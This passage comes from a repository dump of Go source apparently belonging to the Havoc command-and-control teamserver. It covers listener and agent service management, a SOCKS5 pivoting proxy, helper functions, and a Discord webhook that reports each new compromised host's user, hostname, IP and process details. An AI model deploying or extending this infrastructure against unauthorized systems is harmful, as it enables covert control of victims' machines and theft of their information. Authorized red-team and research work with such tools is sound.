\"[\"+colors.BoldWhite(\"SERVICE\")+\"]\", \"[Name: \"+colors.Blue(s.Agents[j].Name)+\"]\"))\n\n\t\t\t\t\t\t// remove from list\n\t\t\t\t\t\ts.Agents = append(s.Agents[:j], s.Agents[j+1:]...)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// remove registered listeners\n\t\t\tfor j := range s.Listeners {\n\t\t\t\tif s.Listeners[j] != nil {\n\t\t\t\t\tif s.Listeners[j].client == client {\n\t\t\t\t\t\tlogger.Warn(fmt.Sprintf(\"%v unregistered a new listener %v %v\", \"[\"+colors.BoldWhite(\"SERVICE\")+\"]\", \"[Name: \"+colors.Blue(s.Listeners[j].Name)+\"]\", \"[Agent: \"+colors.Blue(s.Listeners[j].Agent)+\"]\"))\n\n\t\t\t\t\t\t// remove from list\n\t\t\t\t\t\ts.Listeners = append(s.Listeners[:j], s.Listeners[j+1:]...)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// close client connection\n\t\t\tif s.clients[i].Conn != nil {\n\t\t\t\terr := s.clients[i].Conn.Close()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.DebugError(\"Failed to close service client connection: \" + err.Error())\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// remove from list\n\t\t\ts.clients = append(s.clients[:i], s.clients[i+1:]...)\n\t\t}\n\t}\n\n}\n\nfunc (s *Service) ListenerExist(Name string) bool {\n\tfor i := range s.Listeners {\n\t\t// check if the listener name is equal to the name we specified.\n\t\t// if yes then return that we found one with the exact same name.\n\t\tif s.Listeners[i].Name == Name {\n\t\t\treturn true\n\t\t}\n\t}\n\t// didn't found a listener with the exact same name that the caller specified.\n\treturn false\n}\n\nfunc (s *Service) ListenerAdd(listener *ListenerService) {\n\tlogger.Info(fmt.Sprintf(\"%v registered a new listener %v %v\", \"[\"+colors.BoldWhite(\"SERVICE\")+\"]\", \"[Name: \"+colors.Blue(listener.Name)+\"]\", \"[Agent: \"+colors.Blue(listener.Agent)+\"]\"))\n\tif listener != nil {\n\t\ts.Listeners = append(s.Listeners, listener)\n\n\t\tpk := events.Service.ListenerRegister(listener.Json())\n\t\ts.Teamserver.EventAppend(pk)\n\t\ts.Teamserver.EventBroadcast(\"\", pk)\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/service/types.go",
    "content": "package service\n\nimport (\n\t\"Havoc/pkg/agent\"\n\t\"Havoc/pkg/packager\"\n\t\"Havoc/pkg/profile\"\n\t\"sync\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/gorilla/websocket\"\n)\n\ntype ClientService struct {\n\tConn      *websocket.Conn\n\tMutex     sync.Mutex\n\tResponses map[string]chan []byte\n}\n\ntype Teamserver interface {\n\tAgentAdd(agent *agent.Agent) []*agent.Agent\n\n\tListenerServiceExc2Add(Name, ExEndpoint string, client *ClientService) error\n\tListenerStartNotify(Listener map[string]any)\n\n\tEventAppend(pk packager.Package) []packager.Package\n\tEventBroadcast(FromUser string, pk packager.Package)\n\tSendEvent(id string, pk packager.Package) error\n}\n\ntype ConfigService struct {\n\tEndpoint string\n\tName     string\n\tPassword string\n}\n\ntype Service struct {\n\tengine  *gin.Engine\n\tclients []*ClientService\n\n\tConfig profile.ServiceConfig\n\n\tTeamserver Teamserver\n\tAgents     []*AgentService\n\tListeners  []*ListenerService\n\tData       struct {\n\t\tServerAgents *agent.Agents\n\t}\n}\n\nconst (\n\tHeadRegister      = \"Register\"\n\tHeadRegisterAgent = \"RegisterAgent\"\n\tHeadAgent         = \"Agent\"\n\tHeadListener      = \"Listener\"\n\n\tBodyAgentRegister = \"AgentRegister\"\n\tBodyAgentTask     = \"AgentTask\"\n\tBodyAgentResponse = \"AgentResponse\"\n\tBodyAgentOutput   = \"AgentOutput\"\n\tBodyAgentBuild    = \"AgentBuild\"\n\n\tBodyListenerAdd      = \"ListenerAdd\"\n\tBodyListenerExC2     = \"ListenerAddExC2\"\n\tBodyListenerStart    = \"ListenerStart\"\n\tBodyListenerShutdown = \"ListenerShutdown\"\n\tBodyListenerTransmit = \"ListenerTransmit\"\n)\n\nfunc (c *ClientService) WriteJson(v any) error {\n\tvar err error\n\n\tc.Mutex.Lock()\n\terr = c.Conn.WriteJSON(v)\n\tc.Mutex.Unlock()\n\n\treturn err\n}\n"
  },
  {
    "path": "teamserver/pkg/socks/socks.go",
    "content": "package socks\n\nimport (\n\t\"errors\"\n\t\"net\"\n\t\"strings\"\n)\n\ntype Socks struct {\n\tlistener net.Listener\n\taddr     string\n\thandler  func(s *Socks, conn net.Conn)\n\tFailed   bool\n\tClients  []int32\n}\n\nfunc NewSocks(addr string) *Socks {\n\tvar socks = new(Socks)\n\n\tif !strings.Contains(addr, \":\") {\n\t\treturn nil\n\t}\n\n\tsocks.addr = addr\n\n\treturn socks\n}\n\nfunc (s *Socks) SetHandler(handler func(s *Socks, conn net.Conn)) {\n\n\ts.handler = handler\n\n}\n\nfunc (s *Socks) Start() error {\n\tvar (\n\t\terr error\n\t\tcon net.Conn\n\t)\n\n\tif s.handler == nil {\n\t\treturn errors.New(\"handler not specified\")\n\t}\n\n\t/* listen on the specified addr */\n\tif s.listener, err = net.Listen(\"tcp\", s.addr); err != nil {\n\t\treturn err\n\t}\n\n\tfor {\n\n\t\t/* accepts any new connections */\n\t\tif con, err = s.listener.Accept(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tgo s.handler(s, con)\n\n\t}\n}\n\nfunc (s *Socks) Close() {\n\n\tif s.listener != nil {\n\t\ts.listener.Close()\n\t}\n\n}\n"
  },
  {
    "path": "teamserver/pkg/socks/util.go",
    "content": "package socks\n\nimport (\n\t\"bufio\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"net\"\n\t\"fmt\"\n\n\t\"Havoc/pkg/logger\"\n)\n\ntype Socks5AuthTypes byte\ntype HostIpTypes byte\n\nconst (\n\tVersion byte = 0x5\n)\n\nconst (\n\tNoAuth   byte = 0\n\tGssApi   byte = 1\n\tUserPass byte = 2\n\tNoMatch  byte = 0xff\n)\n\nconst (\n\tIPv4   byte = 1\n\tFQDN   byte = 3\n\tIPv6   byte = 4\n)\n\nconst (\n\tSucceeded                 = 0x00\n\tGeneralSocksServerFailure = 0x01\n\tNetworkUnreachable        = 0x03\n\tHostUnreachable           = 0x04\n\tConnectionRefused         = 0x05\n\tTTLExpired                = 0x06\n\tCommandNotSupported       = 0x07\n\tAddressTypeNotSupported   = 0x08\n)\n\nconst (\n\tConnectCommand = 0x1\n)\n\nconst (\n\tWSAETIMEDOUT    = 10060\n\tWSAECONNREFUSED = 10061\n\tWSAEHOSTUNREACH = 10065\n\tWSAENETUNREACH  = 10051\n)\n\ntype SocksHeader struct {\n\tVersion  byte\n\tCommand  byte\n\tRSV      byte\n\tATYP     byte\n\tIpDomain []byte\n\tPort     uint16\n}\n\ntype NegotiationHeader struct {\n\tVersion  byte\n\tNMethods byte\n\tMethods  []byte\n}\n\nfunc SubNegotiationClient(conn net.Conn) (NegotiationHeader, error) {\n\tvar (\n\t\theader     NegotiationHeader\n\t\treader     = bufio.NewReader(conn)\n\t\terr        error\n\t\tNumMethods byte\n\t)\n\n\t/*\n     * Client Version identifier/method selection message\n     * +----+----------+----------+\n     * |VER | NMETHODS | METHODS  |\n     * +----+----------+----------+\n    */\n\n\theader.Version, err = reader.ReadByte()\n\tif err != nil {\n\t\treturn header, err\n\t}\n\n\t/* check if it's a socks5 header */\n\tif header.Version != 0x5 {\n\t\treturn header, errors.New(fmt.Sprint(\"socks version (%d) is not 5 (0x5)\", header.Version))\n\t}\n\n\theader.NMethods, err = reader.ReadByte()\n\tif err != nil {\n\t\treturn header, err\n\t}\n\n\tNumMethods = header.NMethods\n\n\tfor NumMethods != 0 {\n\t\tvar AuthType byte\n\t\tAuthType, err = reader.ReadByte()\n\t\tif err != nil {\n\t\t\treturn header, err\n\t\t}\n\t\theader.Methods = append(header.Methods, AuthType)\n\t\tNumMethods -= 1\n\t}\n\treturn header, nil\n}\n\nfunc ReadSocksHeader(conn net.Conn) (SocksHeader, error) {\n\tvar (\n\t\theader SocksHeader\n\t\treader = bufio.NewReader(conn)\n\t\terr    error\n\t)\n\n\t/*\n     * From rfc 1928 (S4), the SOCKS request is formed as follows:\n     *\n     *    +----+-----+-------+------+----------+----------+\n     *    |VER | CMD |  RSV  | ATYP | DST.ADDR | DST.PORT |\n     *    +----+-----+-------+------+----------+----------+\n     *    | 1  |  1  | X'00' |  1   | Variable |    2     |\n     *    +----+-----+-------+------+----------+----------+\n     *\n     * Where:\n     *\n     *      o  VER    protocol version: X'05'\n     *      o  CMD\n     *         o  CONNECT X'01'\n     *         o  BIND X'02'\n     *         o  UDP ASSOCIATE X'03'\n     *      o  RSV    RESERVED\n     *      o  ATYP   address type of following address\n     *         o  IP V4 address: X'01'\n     *         o  DOMAINNAME: X'03'\n     *         o  IP V6 address: X'04'\n     *      o  DST.ADDR       desired destination address\n     *      o  DST.PORT desired destination port in network octet\n     *         order\n\t */\n\n\theader.Version, err = reader.ReadByte()\n\tif err != nil {\n\t\treturn header, err\n\t}\n\n\t/* check if it's a socks5 header */\n\tif header.Version != 0x5 {\n\t\treturn header, errors.New(fmt.Sprint(\"socks version (%d) is not 5 (0x5)\", header.Version))\n\t}\n\n\theader.Command, err = reader.ReadByte()\n\tif err != nil {\n\t\treturn header, err\n\t}\n\n\theader.RSV, err = reader.ReadByte()\n\tif err != nil {\n\t\treturn header, err\n\t}\n\n\tif header.RSV != 0x0 {\n\t\treturn header, errors.New(fmt.Sprint(\"socks RSV (%d) is not 0 (0x0)\", header.RSV))\n\t}\n\n\theader.ATYP, err = reader.ReadByte()\n\tif err != nil {\n\t\treturn header, errors.New(\"ATYP puto el que lee\")\n\t}\n\n\tif header.ATYP == 0x1 {\n\t\t// IP V4 address\n\t\theader.IpDomain = make([]byte, 4)\n\t\tn, err := reader.Read(header.IpDomain)\n\t\tif err != nil {\n\t\t\treturn header, err\n\t\t}\n\t\tif n != 4 {\n\t\t\treturn header, errors.New(\"failed to read the IPv4 address\")\n\t\t}\n\t} else if header.ATYP == 0x3 {\n\t\t// DOMAINNAME\n\t\tvar DomainLength byte\n\t\tDomainLength, err = reader.ReadByte()\n\t\tif err != nil {\n\t\t\treturn header, err\n\t\t}\n\t\theader.IpDomain = make([]byte, uint32(DomainLength))\n\t\tn, err := reader.Read(header.IpDomain)\n\t\tif err != nil {\n\t\t\treturn header, err\n\t\t}\n\t\tif uint32(n) != uint32(DomainLength) {\n\t\t\treturn header, errors.New(\"failed to read the domain\")\n\t\t}\n\t} else if header.ATYP == 0x4 {\n\t\t// IP V6 address\n\t\theader.IpDomain = make([]byte, 16)\n\t\tn, err := reader.Read(header.IpDomain)\n\t\tif err != nil {\n\t\t\treturn header, err\n\t\t}\n\t\tif n != 16 {\n\t\t\treturn header, errors.New(\"failed to read the IPv6 address\")\n\t\t}\n\t} else {\n\t\treturn header, errors.New(fmt.Sprint(\"socks ATYP (%d) is not valid\", header.ATYP))\n\t}\n\n\tPortArr := make([]byte, 2)\n\n\tPortArr[0], err = reader.ReadByte()\n\tif err != nil {\n\t\treturn header, err\n\t}\n\n\tPortArr[1], err = reader.ReadByte()\n\tif err != nil {\n\t\treturn header, err\n\t}\n\n\theader.Port = binary.BigEndian.Uint16(PortArr)\n\n\treturn header, nil\n}\n\n/*\n * Server Reply\n * +----+-----+-------+------+----------+----------+\n * |VER | REP |  RSV  | ATYP | BND.ADDR | BND.PORT |\n * +----+-----+-------+------+----------+----------+\n */\n\nfunc CreateResponsePackage(ErrorType byte, ATYP byte, IpDomain []byte, Port uint16) []byte {\n\t// version, reply type, reserved byte and the address type\n\tresponse := []byte{Version, ErrorType, 0x00, ATYP}\n\t// if the address type is FQDN, first add the size of the domain\n\tif ATYP == FQDN {\n\t\tresponse = append(response, byte(len(IpDomain)))\n\t}\n\t// add IPv4/IPv6/FQDN\n\tresponse = append(response, IpDomain...)\n\t// port\n\tresponse = append(response, byte((Port >> 8) & 0xff))\n\tresponse = append(response, byte((Port >> 0) & 0xff))\n\n\treturn response\n}\n\nfunc SendConnectSuccess(conn net.Conn, ATYP byte, IpDomain []byte, Port uint16) error {\n\t_, err := conn.Write(CreateResponsePackage(Succeeded, ATYP, IpDomain, Port))\n\treturn err\n}\n\nfunc SendAddressTypeNotSupported(conn net.Conn) error {\n\t_, err := conn.Write([]byte{Version, AddressTypeNotSupported, 0x00, IPv4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})\n\treturn err\n}\n\nfunc SendCommandNotSupported(conn net.Conn) error {\n\t_, err := conn.Write([]byte{Version, CommandNotSupported, 0x00, IPv4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})\n\treturn err\n}\n\nfunc SendConnectFailure(conn net.Conn, ErrorCode uint32, ATYP byte, IpDomain []byte, Port uint16) error {\n\tvar err error\n\tvar Response byte\n\n\tif ErrorCode == WSAETIMEDOUT {\n\t\t// Connection Time-out\n\t\tResponse = TTLExpired\n\t} else if ErrorCode == WSAECONNREFUSED {\n\t\t// ConnectionRefused\n\t\tResponse = ConnectionRefused\n\t} else if ErrorCode == WSAEHOSTUNREACH {\n\t\t// HostUnreachable\n\t\tResponse = HostUnreachable\n\t} else if ErrorCode == WSAENETUNREACH {\n\t\t// NetworkUnreachable\n\t\tResponse = NetworkUnreachable\n\t} else {\n\t\t// some other generic error\n\t\tlogger.Debug(fmt.Sprintf(\"Unknown Socks5 error code: %d\", ErrorCode))\n\t\tResponse = GeneralSocksServerFailure\n\t}\n\n\t_, err = conn.Write(CreateResponsePackage(Response, ATYP, IpDomain, Port))\n\n\treturn err\n}\n"
  },
  {
    "path": "teamserver/pkg/utils/utils.go",
    "content": "package utils\n\nimport (\n    \"encoding/base64\"\n    \"encoding/binary\"\n    \"unicode/utf16\"\n    \"fmt\"\n    \"math/rand\"\n    \"os\"\n    \"strconv\"\n    \"strings\"\n    \"time\"\n    \"unsafe\"\n\n    \"Havoc/pkg/logger\"\n)\n\nconst letterBytes = \"abcdef0123456789\"\nconst (\n    letterIdxBits = 4\n    letterIdxMask = 1<<letterIdxBits - 1\n    letterIdxMax  = 63 / letterIdxBits\n)\n\nfunc UTF16BytesToString(b []byte) string {\n    size := (len(b) - 2) / 2\n    utf := make([]uint16, size)\n    for i := 0; i < size; i += 1 {\n        utf[i] = binary.LittleEndian.Uint16(b[i*2:])\n    }\n    return string(utf16.Decode(utf))\n}\n\nfunc GenerateID(n int) string {\n    var src = rand.NewSource(time.Now().UnixNano())\n    b := make([]byte, n)\n    // A src.Int63() generates 63 random bits, enough for letterIdxMax characters!\n    for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {\n        if remain == 0 {\n            cache, remain = src.Int63(), letterIdxMax\n        }\n        if idx := int(cache & letterIdxMask); idx < len(letterBytes) {\n            b[i] = letterBytes[idx]\n            i--\n        }\n        cache >>= letterIdxBits\n        remain--\n    }\n\n    return string(b)\n}\n\nfunc GenerateString(min int, max int) string {\n    rand.Seed(time.Now().UnixNano())\n    length := min + rand.Intn(max - min + 1)\n    var letterRunes = []rune(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\")\n    b := make([]rune, length)\n    for i := range b {\n        b[i] = letterRunes[rand.Intn(len(letterRunes))]\n    }\n\n    return string(b)\n}\n\nfunc EncodeCommand(x string) string {\n    encodedCMD := base64.StdEncoding.EncodeToString([]byte(x))\n    return encodedCMD\n}\n\nfunc IP2Inet(ipaddr string) uint32 {\n    var (\n        ip                 = strings.Split(ipaddr, \".\")\n        ip1, ip2, ip3, ip4 uint64\n        ret                uint32\n    )\n    ip1, _ = strconv.ParseUint(ip[0], 10, 8)\n    ip2, _ = strconv.ParseUint(ip[1], 10, 8)\n    ip3, _ = strconv.ParseUint(ip[2], 10, 8)\n    ip4, _ = strconv.ParseUint(ip[3], 10, 8)\n    ret = uint32(ip4)<<24 + uint32(ip3)<<16 + uint32(ip2)<<8 + uint32(ip1)\n    return ret\n}\n\nfunc Port2Htons(port uint16) uint16 {\n    b := make([]byte, 2)\n    binary.BigEndian.PutUint16(b, port)\n    return *(*uint16)(unsafe.Pointer(&b[0]))\n}\n\nfunc ByteCountSI(b int64) string {\n    const unit = 1000\n    if b < unit {\n        return fmt.Sprintf(\"%d B\", b)\n    }\n    div, exp := int64(unit), 0\n    for n := b / unit; n >= unit; n /= unit {\n        div *= unit\n        exp++\n    }\n    return fmt.Sprintf(\"%.2f %cB\",\n        float64(b)/float64(div), \"kMGTPE\"[exp])\n}\n\nfunc GetTeamserverPath() string {\n    var (\n        Path string\n        err  error\n    )\n\n    if Path, err = os.Getwd(); err != nil {\n        logger.Error(\"Couldn't get current working directory of teamserver: \" + err.Error())\n        return \"\"\n    }\n\n    return Path\n}\n\n/*func GetFieldName(fieldPinter interface{}) (name string) {\n    val := reflect.ValueOf(structPoint).Elem()\n    val2 := reflect.ValueOf(fieldPinter).Elem()\n\n    for i := 0; i < val.NumField(); i++ {\n        valueField := val.Field(i)\n        if valueField.Addr().Interface() == val2.Addr().Interface() {\n            return val.Type().Field(i).Name\n        }\n    }\n    return\n}*/\n\nfunc IntToHexString(Int int) string {\n    return fmt.Sprintf(\"%x\", Int)\n}\n\nfunc HexIntToString(HexInt int) string {\n    var bs = make([]byte, 4)\n    binary.LittleEndian.PutUint32(bs, uint32(HexInt))\n    return fmt.Sprintf(\"%x\", binary.BigEndian.Uint32(bs))\n}\n\nfunc HexIntToBigEndian(HexInt int) int {\n    var bs = make([]byte, 4)\n    binary.LittleEndian.PutUint32(bs, uint32(HexInt))\n    return int(binary.BigEndian.Uint32(bs))\n}"
  },
  {
    "path": "teamserver/pkg/webhook/discord.go",
    "content": "package webhook\n\ntype Message struct {\n\tUsername  *string  `json:\"username,omitempty\"`\n\tAvatarUrl *string  `json:\"avatar_url,omitempty\"`\n\tContent   *string  `json:\"content,omitempty\"`\n\tEmbeds    *[]Embed `json:\"embeds,omitempty\"`\n}\n\ntype Embed struct {\n\tTitle       *string    `json:\"title,omitempty\"`\n\tUrl         *string    `json:\"url,omitempty\"`\n\tDescription *string    `json:\"description,omitempty\"`\n\tColor       *string    `json:\"color,omitempty\"`\n\tAuthor      *Author    `json:\"author,omitempty\"`\n\tFields      *[]Field   `json:\"fields,omitempty\"`\n\tThumbnail   *Thumbnail `json:\"thumbnail,omitempty\"`\n\tImage       *Image     `json:\"image,omitempty\"`\n\tFooter      *Footer    `json:\"footer,omitempty\"`\n}\n\ntype Author struct {\n\tName    *string `json:\"name,omitempty\"`\n\tUrl     *string `json:\"url,omitempty\"`\n\tIconUrl *string `json:\"icon_url,omitempty\"`\n}\n\ntype Field struct {\n\tName   *string `json:\"name,omitempty\"`\n\tValue  *string `json:\"value,omitempty\"`\n\tInline *bool   `json:\"inline,omitempty\"`\n}\n\ntype Thumbnail struct {\n\tUrl *string `json:\"url,omitempty\"`\n}\n\ntype Image struct {\n\tUrl *string `json:\"url,omitempty\"`\n}\n\ntype Footer struct {\n\tText    *string `json:\"text,omitempty\"`\n\tIconUrl *string `json:\"icon_url,omitempty\"`\n}\n"
  },
  {
    "path": "teamserver/pkg/webhook/webhook.go",
    "content": "package webhook\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"strconv\"\n)\n\ntype WebHook struct {\n\tDiscord struct {\n\t\tAvatar string\n\t\tUser   string\n\t\tUrl    string\n\t}\n}\n\nfunc StringPtr(str string) *string {\n\treturn &str\n}\n\nfunc BoolPtr(b bool) *bool {\n\treturn &b\n}\n\nfunc NewWebHook() *WebHook {\n\treturn new(WebHook)\n}\n\nfunc (w *WebHook) NewAgent(agent map[string]any) error {\n\n\tif len(w.Discord.Url) > 0 {\n\t\tvar (\n\t\t\tpayload   = new(bytes.Buffer)\n\t\t\tmessage   Message\n\t\t\tembed     Embed\n\t\t\tfield     Field\n\t\t\tAgentInfo map[string]any\n\t\t)\n\n\t\tAgentInfo = agent[\"Info\"].(map[string]any)\n\n\t\tmessage.AvatarUrl = &w.Discord.Avatar\n\t\tmessage.Username = &w.Discord.User\n\t\tmessage.Embeds = new([]Embed)\n\n\t\tembed.Title = StringPtr(\"New Agent Initialized\")\n\t\tembed.Fields = new([]Field)\n\n\t\tfield.Name = StringPtr(\"Agent ID\")\n\t\tfield.Value = StringPtr(agent[\"NameID\"].(string))\n\t\tfield.Inline = BoolPtr(true)\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"Username\")\n\t\tfield.Value = StringPtr(AgentInfo[\"Username\"].(string))\n\t\tfield.Inline = BoolPtr(true)\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"Hostname\")\n\t\tfield.Value = StringPtr(AgentInfo[\"Hostname\"].(string))\n\t\tfield.Inline = BoolPtr(true)\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"Internal IP\")\n\t\tfield.Value = StringPtr(AgentInfo[\"InternalIP\"].(string))\n\t\tfield.Inline = BoolPtr(true)\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"Process Path\")\n\t\tfield.Value = StringPtr(AgentInfo[\"ProcessPath\"].(string))\n\t\tfield.Inline = BoolPtr(true)\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"Process Name\")\n\t\tfield.Value = StringPtr(AgentInfo[\"ProcessName\"].(string))\n\t\tfield.Inline = BoolPtr(true)\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"Process ID\")\n\t\tfield.Value = StringPtr(strconv.Itoa(AgentInfo[\"ProcessPID\"].(int)))\n\t\tfield.Inline = BoolPtr(true)\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"Process Arch\")\n\t\tfield.Value = StringPtr(AgentInfo[\"ProcessArch\"].(string))\n\t\tfield.Inline = BoolPtr(true)\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"OS Version\")\n\t\tfield.Value = StringPtr(AgentInfo[\"OSVersion\"].(string))\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"OS Arch\")\n\t\tfield.Value = StringPtr(AgentInfo[\"OSArch\"].(string))\n\t\tfield.Inline = BoolPtr(true)\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\tfield.Name = StringPtr(\"First Callback\")\n\t\tfield.Value = StringPtr(AgentInfo[\"FirstCallIn\"].(string))\n\t\t*embed.Fields = append(*embed.Fields, field)\n\n\t\t*message.Embeds = append(*message.Embeds, embed)\n\n\t\terr := json.NewEncoder(payload).Encode(message)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tresp, err := http.Post(w.Discord.Url, \"application/json\", payload)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif resp.StatusCode != 200 && resp.StatusCode != 204 {\n\t\t\tdefer resp.Body.Close()\n\n\t\t\tresponseBody, err := io.ReadAll(resp.Body)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\treturn fmt.Errorf(string(responseBody))\n\t\t}\n\n\t\treturn nil\n\t}\n\n\treturn nil\n}\n\nfunc (w *WebHook) SetDiscord(AvatarUrl, User, Url string) {\n\tw.Discord.Avatar = AvatarUrl\n\tw.Discord.User = User\n\tw.Discord.Url = Url\n}\n"
  },
  {
    "path": "teamserver/pkg/win32/types.go",
    "content": "package win32\n\nconst (\n    PAGE_NOACCESS \t\t\t= 0x01\n    PAGE_READONLY \t\t\t= 0x02\n    PAGE_READWRITE \t\t\t= 0x04\n    PAGE_WRITECOPY \t\t\t= 0x08\n    PAGE_EXECUTE \t\t\t= 0x10\n    PAGE_EXECUTE_READ \t\t= 0x20\n    PAGE_EXECUTE_READWRITE \t= 0x40\n    PAGE_EXECUTE_WRITECOPY \t= 0x80\n    PAGE_GUARD \t\t\t\t= 0x100\n)\n\nvar Protections = map[int][]string{\n    PAGE_NOACCESS:          {\"PAGE_NOACCESS\", \"NA\"},\n    PAGE_READONLY:          {\"PAGE_READONLY\", \"R\"},\n    PAGE_READWRITE:         {\"PAGE_READWRITE\",\"RW\"},\n    PAGE_WRITECOPY:         {\"PAGE_WRITECOPY\", \"WC\"},\n    PAGE_EXECUTE:           {\"PAGE_EXECUTE\", \"X\"},\n    PAGE_EXECUTE_READ:      {\"PAGE_EXECUTE_READ\", \"RX\"},\n    PAGE_EXECUTE_READWRITE: {\"PAGE_EXECUTE_READWRITE\", \"RWX\"},\n    PAGE_EXECUTE_WRITECOPY: {\"PAGE_EXECUTE_WRITECOPY\", \"WCX\"},\n    PAGE_GUARD:             {\"PAGE_GUARD\", \"PG\"},\n}\n\nconst (\n    MEM_COMMIT      = 0x1000\n    MEM_RESERVE     = 0x2000\n    MEM_DECOMMIT    = 0x4000\n    MEM_RELEASE     = 0x8000\n    MEM_FREE        = 0x10000\n    MEM_PRIVATE     = 0x20000\n    MEM_MAPPED      = 0x40000\n    MEM_RESET       = 0x80000\n    MEM_TOP_DOWN    = 0x100000\n    MEM_WRITE_WATCH = 0x200000\n    MEM_PHYSICAL    = 0x400000\n    MEM_ROTATE      = 0x800000\n)\n\nconst (\n     LOGON32_LOGON_INTERACTIVE       = 2\n     LOGON32_LOGON_NETWORK           = 3\n     LOGON32_LOGON_BATCH             = 4\n     LOGON32_LOGON_SERVICE           = 5\n     LOGON32_LOGON_UNLOCK            = 7\n     LOGON32_LOGON_NETWORK_CLEARTEXT = 8\n     LOGON32_LOGON_NEW_CREDENTIALS   = 9\n)\n\nconst (\n    DES_CBC_CRC                  = 1\n    DES_CBC_MD4                  = 2\n    DES_CBC_MD5                  = 3\n    DES3_CBC_MD5                 = 5\n    DES3_CBC_SHA1                = 7\n    DSAWITHSHA1_CMSOID           = 9\n    MD5WITHRSAENCRYPTION_CMSOID  = 10\n    SHA1WITHRSAENCRYPTION_CMSOID = 11\n    RC2CBC_ENVOID                = 12\n    RSAENCRYPTION_ENVOID         = 13\n    RSAES_OAEP_ENV_OID           = 14\n    DES3_CBC_SHA1_KD             = 16\n    AES128_CTS_HMAC_SHA1         = 17\n    AES256_CTS_HMAC_SHA1         = 18\n    RC4_HMAC                     = 23\n    RC4_HMAC_EXP                 = 24\n    SUBKEY_KEYMATERIAL           = 65\n    OLD_EXP                      = -135\n)\n\nconst (\n    FALSE   = 0\n    TRUE    = 1\n)\n\nfunc StatusToString( Status int64 ) string {\n    switch Status {\n        case 0x00000000: return \"STATUS_SUCCESS\"\n        case 0x00000001: return \"STATUS_WAIT_1\"\n        case 0x00000002: return \"STATUS_WAIT_2\"\n        case 0x00000003: return \"STATUS_WAIT_3\"\n        case 0x0000003F: return \"STATUS_WAIT_63\"\n        case 0x00000080: return \"STATUS_ABANDONED_WAIT_0\"\n        case 0x000000BF: return \"STATUS_ABANDONED_WAIT_63\"\n        case 0x000000C0: return \"STATUS_USER_APC\"\n        case 0x00000100: return \"STATUS_KERNEL_APC\"\n        case 0x00000101: return \"STATUS_ALERTED\"\n        case 0x00000102: return \"STATUS_TIMEOUT\"\n        case 0x00000103: return \"STATUS_PENDING\"\n        case 0x00000104: return \"STATUS_REPARSE\"\n        case 0x00000105: return \"STATUS_MORE_ENTRIES\"\n        case 0x00000106: return \"STATUS_NOT_ALL_ASSIGNED\"\n        case 0x00000107: return \"STATUS_SOME_NOT_MAPPED\"\n        case 0x00000108: return \"STATUS_OPLOCK_BREAK_IN_PROGRESS\"\n        case 0x00000109: return \"STATUS_VOLUME_MOUNTED\"\n        case 0x0000010A: return \"STATUS_RXACT_COMMITTED\"\n        case 0x0000010B: return \"STATUS_NOTIFY_CLEANUP\"\n        case 0x0000010C: return \"STATUS_NOTIFY_ENUM_DIR\"\n        case 0x0000010D: return \"STATUS_NO_QUOTAS_FOR_ACCOUNT\"\n        case 0x0000010E: return \"STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED\"\n        case 0x00000110: return \"STATUS_PAGE_FAULT_TRANSITION\"\n        case 0x00000111: return \"STATUS_PAGE_FAULT_DEMAND_ZERO\"\n        case 0x00000112: return \"STATUS_PAGE_FAULT_COPY_ON_WRITE\"\n        case 0x00000113: return \"STATUS_PAGE_FAULT_GUARD_PAGE\"\n        case 0x00000114: return \"STATUS_PAGE_FAULT_PAGING_FILE\"\n        case 0x00000115: return \"STATUS_CACHE_PAGE_LOCKED\"\n        case 0x00000116: return \"STATUS_CRASH_DUMP\"\n        case 0x00000117: return \"STATUS_BUFFER_ALL_ZEROS\"\n        case 0x00000118: return \"STATUS_REPARSE_OBJECT\"\n        case 0x00000119: return \"STATUS_RESOURCE_REQUIREMENTS_CHANGED\"\n        case 0x00000120: return \"STATUS_TRANSLATION_COMPLETE\"\n        case 0x00000121: return \"STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY\"\n        case 0x00010001: return \"DBG_EXCEPTION_HANDLED\"\n        case 0x00010002: return \"DBG_CONTINUE\"\n        case 0x40000000: return \"STATUS_OBJECT_NAME_EXISTS\"\n        case 0x40000001: return \"STATUS_THREAD_WAS_SUSPENDED\"\n        case 0x40000002: return \"STATUS_WORKING_SET_LIMIT_RANGE\"\n        case 0x40000003: return \"STATUS_IMAGE_NOT_AT_BASE\"\n        case 0x40000004: return \"STATUS_RXACT_STATE_CREATED\"\n        case 0x40000005: return \"STATUS_SEGMENT_NOTIFICATION\"\n        case 